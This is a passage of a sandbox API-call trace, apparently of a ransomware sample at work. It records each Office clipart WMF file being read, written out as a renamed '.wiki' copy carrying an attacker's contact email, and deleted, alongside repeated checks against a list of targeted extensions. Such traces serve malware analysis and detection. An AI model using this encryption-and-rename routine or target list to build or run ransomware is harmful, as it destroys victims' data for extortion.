(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.711] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.711] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.712] GetLastError () returned 0x0 [0187.712] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xb90, lpOverlapped=0x0) returned 1 [0187.732] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xba0, lpOverlapped=0x0) returned 1 [0187.733] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.733] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.733] SetEndOfFile (hFile=0x1f4) returned 1 [0187.733] CloseHandle (hObject=0x1f4) returned 1 [0187.733] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.733] SetEndOfFile (hFile=0x1d0) returned 1 [0187.734] CloseHandle (hObject=0x1d0) returned 1 [0187.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0187.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.734] lstrlenW (lpString=".doc") returned 4 [0187.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.734] lstrlenW (lpString=".docx") returned 5 [0187.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.734] lstrlenW (lpString=".pdf") returned 4 [0187.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.734] lstrlenW (lpString=".xls") returned 4 [0187.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.734] lstrlenW (lpString=".xlsx") returned 5 [0187.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.734] lstrlenW (lpString=".ppt") returned 4 [0187.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.735] lstrlenW (lpString=".zip") returned 4 [0187.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.735] lstrlenW (lpString=".rar") returned 4 [0187.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString=".bz2") returned 4 [0187.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString=".7z") returned 3 [0187.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.735] lstrlenW (lpString=".dbf") returned 4 [0187.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.735] lstrlenW (lpString=".1cd") returned 4 [0187.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.735] lstrlenW (lpString=".jpg") returned 4 [0187.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.735] lstrlenW (lpString=".doc") returned 4 [0187.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString=".docx") returned 5 [0187.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.735] lstrlenW (lpString=".pdf") returned 4 [0187.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.735] lstrlenW (lpString=".xls") returned 4 [0187.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.735] lstrlenW (lpString=".xlsx") returned 5 [0187.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.735] lstrlenW (lpString=".ppt") returned 4 [0187.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.736] lstrlenW (lpString=".zip") returned 4 [0187.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.736] lstrlenW (lpString=".rar") returned 4 [0187.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.736] lstrlenW (lpString=".bz2") returned 4 [0187.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.736] lstrlenW (lpString=".7z") returned 3 [0187.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.736] lstrlenW (lpString=".dbf") returned 4 [0187.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.736] lstrlenW (lpString=".1cd") returned 4 [0187.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0187.736] lstrlenW (lpString=".jpg") returned 4 [0187.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.736] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.736] lstrlenW (lpString="DD01160_.WMF") returned 12 [0187.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.737] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2228) returned 1 [0187.737] CloseHandle (hObject=0x1d0) returned 1 [0187.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0187.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.737] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.737] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.737] GetLastError () returned 0x0 [0187.737] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x8b4, lpOverlapped=0x0) returned 1 [0187.753] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0187.754] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.754] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.754] SetEndOfFile (hFile=0x1f4) returned 1 [0187.754] CloseHandle (hObject=0x1f4) returned 1 [0187.754] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.754] SetEndOfFile (hFile=0x1d0) returned 1 [0187.755] CloseHandle (hObject=0x1d0) returned 1 [0187.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0187.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.755] lstrlenW (lpString=".doc") returned 4 [0187.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.755] lstrlenW (lpString=".docx") returned 5 [0187.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.755] lstrlenW (lpString=".pdf") returned 4 [0187.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.755] lstrlenW (lpString=".xls") returned 4 [0187.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.756] lstrlenW (lpString=".xlsx") returned 5 [0187.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.756] lstrlenW (lpString=".ppt") returned 4 [0187.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.756] lstrlenW (lpString=".zip") returned 4 [0187.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.756] lstrlenW (lpString=".rar") returned 4 [0187.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString=".bz2") returned 4 [0187.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString=".7z") returned 3 [0187.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.756] lstrlenW (lpString=".dbf") returned 4 [0187.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.756] lstrlenW (lpString=".1cd") returned 4 [0187.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.756] lstrlenW (lpString=".jpg") returned 4 [0187.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.756] lstrlenW (lpString=".doc") returned 4 [0187.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.756] lstrlenW (lpString=".docx") returned 5 [0187.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.756] lstrlenW (lpString=".pdf") returned 4 [0187.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.757] lstrlenW (lpString=".xls") returned 4 [0187.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.757] lstrlenW (lpString=".xlsx") returned 5 [0187.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.757] lstrlenW (lpString=".ppt") returned 4 [0187.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.757] lstrlenW (lpString=".zip") returned 4 [0187.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.757] lstrlenW (lpString=".rar") returned 4 [0187.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.757] lstrlenW (lpString=".bz2") returned 4 [0187.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.757] lstrlenW (lpString=".7z") returned 3 [0187.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.757] lstrlenW (lpString=".dbf") returned 4 [0187.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.757] lstrlenW (lpString=".1cd") returned 4 [0187.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0187.757] lstrlenW (lpString=".jpg") returned 4 [0187.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.757] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.758] lstrlenW (lpString="DD01166_.WMF") returned 12 [0187.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.758] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2080) returned 1 [0187.758] CloseHandle (hObject=0x1d0) returned 1 [0187.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0187.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.758] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.758] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.759] GetLastError () returned 0x0 [0187.759] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x820, lpOverlapped=0x0) returned 1 [0187.769] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x830, lpOverlapped=0x0) returned 1 [0187.973] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.995] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.995] SetEndOfFile (hFile=0x1f4) returned 1 [0187.995] CloseHandle (hObject=0x1f4) returned 1 [0187.995] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.995] SetEndOfFile (hFile=0x1d0) returned 1 [0187.996] CloseHandle (hObject=0x1d0) returned 1 [0187.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0187.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.997] lstrlenW (lpString=".doc") returned 4 [0187.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.997] lstrlenW (lpString=".docx") returned 5 [0187.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.997] lstrlenW (lpString=".pdf") returned 4 [0187.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.997] lstrlenW (lpString=".xls") returned 4 [0187.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.997] lstrlenW (lpString=".xlsx") returned 5 [0187.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.997] lstrlenW (lpString=".ppt") returned 4 [0187.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.997] lstrlenW (lpString=".zip") returned 4 [0187.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.997] lstrlenW (lpString=".rar") returned 4 [0187.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.997] lstrlenW (lpString=".bz2") returned 4 [0187.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString=".7z") returned 3 [0187.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.998] lstrlenW (lpString=".dbf") returned 4 [0187.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.998] lstrlenW (lpString=".1cd") returned 4 [0187.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.998] lstrlenW (lpString=".jpg") returned 4 [0187.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.998] lstrlenW (lpString=".doc") returned 4 [0187.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString=".docx") returned 5 [0187.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.998] lstrlenW (lpString=".pdf") returned 4 [0187.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString=".xls") returned 4 [0187.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.998] lstrlenW (lpString=".xlsx") returned 5 [0187.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.998] lstrlenW (lpString=".ppt") returned 4 [0187.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.998] lstrlenW (lpString=".zip") returned 4 [0187.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.998] lstrlenW (lpString=".rar") returned 4 [0187.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.998] lstrlenW (lpString=".bz2") returned 4 [0187.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.999] lstrlenW (lpString=".7z") returned 3 [0187.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.999] lstrlenW (lpString=".dbf") returned 4 [0187.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.999] lstrlenW (lpString=".1cd") returned 4 [0187.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63 [0187.999] lstrlenW (lpString=".jpg") returned 4 [0187.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.999] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.999] lstrlenW (lpString="DD01182_.WMF") returned 12 [0187.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0187.999] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2996) returned 1 [0187.999] CloseHandle (hObject=0x1d0) returned 1 [0188.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0188.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.000] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.000] 